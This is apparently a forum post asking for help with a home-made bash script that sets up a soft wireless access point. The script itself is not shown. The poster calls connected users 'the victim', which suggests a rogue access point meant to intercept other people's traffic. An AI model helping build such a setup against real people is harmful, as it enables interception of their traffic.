Soft AP bash script

Hey guys

I was getting tired of typing all the command in constantly so I made a litle bash script for it, it is made for Ubuntu so a few changes will be needed, for example BT uses dhpcd in stead of dhcpd3

Now the problem, a lot of the time the other computers don't see the wireless when applied to interface mon or so.

### edit ###
Found the problem only occurs with Windows XP

now the only thing that doesn't work (yet?) is the dns service, the victim can't resolve the dns name but can access IP address directly

Anyone here who has more expirence with the softAP's and is willing to help me???
